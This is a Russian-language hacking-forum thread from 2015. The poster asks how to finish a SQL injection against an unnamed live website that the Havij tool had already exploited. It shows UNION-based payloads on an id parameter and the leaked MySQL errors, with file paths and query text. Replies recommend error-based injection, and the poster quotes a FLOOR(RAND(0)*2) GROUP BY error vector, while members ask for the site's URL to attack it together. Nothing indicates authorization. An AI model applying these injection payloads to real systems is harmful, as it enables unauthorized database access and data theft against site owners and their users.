HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 29.10.2015, 16:44
user6334
Участник форума
Регистрация: 29.06.2015
Сообщений: 296
С нами: 5723606

Репутация: 12
По умолчанию

id = 1

На выводе пустая страница

id = 1 UNION SELECT 1

Выдает:

Код:
Ошибка базы данных.

Error Number: 1054

Unknown column 'verdict' in 'field list'

SELECT COUNT(rating) AS count FROM complex_reviews WHERE complex_id=1 UNION SELECT 1 AND verdict = 1

Filename: /modules/developers/models/reviews.php

Line Number: 242
id = 1 UNION SELECT 1--

Выдает:

Код:
Ошибка базы данных.

Error Number: 1222

The used SELECT statements have a different number of columns

SELECT `complex`.*, `developers`.`developer_title`, `developers`.`developer_id`, `developers`.`developer_city`, `developers`.`developer_logo` FROM (`complex`) JOIN `developers` ON `complex`.`developer_id` = `developers`.`developer_id` WHERE complex_id = 1 UNION SELECT 1-- ORDER BY `developers`.`developer_id` desc LIMIT 1

Filename: /modules/developers/models/model_developers.php

Line Number: 35
Помогите разобраться, хавидж раскрутил, так что мне вдвойне обидно (
 
Ответить с цитированием

  #2  
Старый 29.10.2015, 17:46
ubepkr
Познающий
Регистрация: 17.08.2015
Сообщений: 96
С нами: 5653046

Репутация: 1
По умолчанию

Дык Вы бы адресок дали, а то как-то не очень в теории раскручивать)) Авось, всем колхозом раздолбаем))
 
Ответить с цитированием

  #3  
Старый 30.10.2015, 00:56
user6334
Участник форума
Регистрация: 29.06.2015
Сообщений: 296
С нами: 5723606

Репутация: 12
По умолчанию

Долбать не надо, тем более всем колхозом) Считайте, что это задача из учебника: добавляем 2 минуса и получаем совершенно другой запрос - в школе мы такого не проходили
 
Ответить с цитированием

  #4  
Старый 30.10.2015, 01:41
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами: 9721141

Репутация: 1013
По умолчанию

у вас два разных запроса. сначала не работает 1 из-за того, что нет колонки verdict, во второй раз ошибка в другом запросе, т. к. в первом все равно, а во втором не хватает колонок. возможно, что пройдет и union-based, но error-based должен сработать точно
 
Ответить с цитированием

  #5  
Старый 30.10.2015, 08:17
user6334
Участник форума
Регистрация: 29.06.2015
Сообщений: 296
С нами: 5723606

Репутация: 12
По умолчанию

Цитата:
Сообщение от yarbabin  

у вас два разных запроса. сначала не работает 1 из-за того, что нет колонки verdict, во второй раз ошибка в другом запросе, т. к. в первом все равно, а во втором не хватает колонок. возможно, что пройдет и union-based, но error-based должен сработать точно
А понял, значение параметра id поочередно передается в несколько запросов, так? Но как выводить поля в случае error-based?
 
Ответить с цитированием

  #6  
Старый 30.10.2015, 08:19
EoGeneo
Познающий
Регистрация: 29.08.2009
Сообщений: 75
С нами: 8789993

Репутация: 5
По умолчанию

ты ссылку дай да и дело с концом
 
Ответить с цитированием

  #7  
Старый 30.10.2015, 16:03
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами: 9721141

Репутация: 1013
По умолчанию

в случае error-based знать количество полей не нужно. подбираете вектор, затем пишете запрос
 
Ответить с цитированием

  #8  
Старый 30.10.2015, 16:19
user6334
Участник форума
Регистрация: 29.06.2015
Сообщений: 296
С нами: 5723606

Репутация: 12
По умолчанию

Цитата:
Сообщение от yarbabin  

в случае error-based знать количество полей не нужно. подбираете вектор, затем пишете запрос
это я понял, но при ошибке ведь не выводиться то, что нужно. Приведите пример запроса, пожалуйста
 
Ответить с цитированием

  #9  
Старый 30.10.2015, 16:19
WallHack
Постоянный
Регистрация: 18.07.2013
Сообщений: 300
С нами: 6747446

Репутация: 32
По умолчанию

Цитата:
Сообщение от user6334  

Помогите разобраться, хавидж раскрутил, так что мне вдвойне обидно (
Почитай
 
Ответить с цитированием

  #10  
Старый 02.11.2015, 14:48
user6334
Участник форума
Регистрация: 29.06.2015
Сообщений: 296
С нами: 5723606

Репутация: 12
По умолчанию

Да знаю, я. Некто Квазар решил что

sELECT COUNT(*),FLOOR(RAND(0)*2)x FROM INFORMATION_SCHEMA.TABLES GROUP BY x

выдает ошибку, но не удосужился объяснить, почему, вот и спрашиваю

а попробуйте вместо двойки написать 1000. То же? А попробуйте теперь 46436794876
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.